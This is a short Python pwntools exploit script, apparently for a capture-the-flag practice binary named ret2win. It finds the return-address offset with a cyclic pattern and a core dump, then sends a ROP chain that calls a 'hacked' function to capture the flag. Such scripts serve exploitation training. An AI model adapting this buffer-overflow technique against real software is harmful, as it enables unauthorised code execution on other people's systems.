ropstar.py

from pwn import *


# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())


# Set up pwntools for the correct architecture
exe = './ret2win'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

# We will send a 'cyclic' pattern which overwrites the return address on the stack
payload = cyclic(50)

# PWN
io.sendlineafter(b'Name:', payload)

# Wait for the process to crash
io.wait()

# Open up the corefile
core = io.corefile

# Print out the address of EIP at the time of crashing
eip_value = core.eip
eip_offset = cyclic_find(eip_value)
info('located EIP offset at {a}'.format(a=eip_offset))

# Create ROP object
rop = ROP(elf)
# Call the hacked function
rop.hacked()

# Dump out the rop structure
print(rop.dump())
# pprint(rop.gadgets)

# Get the raw bytes
rop_chain = rop.chain()

# Build payload
payload = flat({
    eip_offset: rop_chain
})

# Save payload to file
write('payload', payload)

# Start a new process
io = start()

# PWN
io.sendlineafter(b'Name:', payload)

# Receive the flag
io.interactive()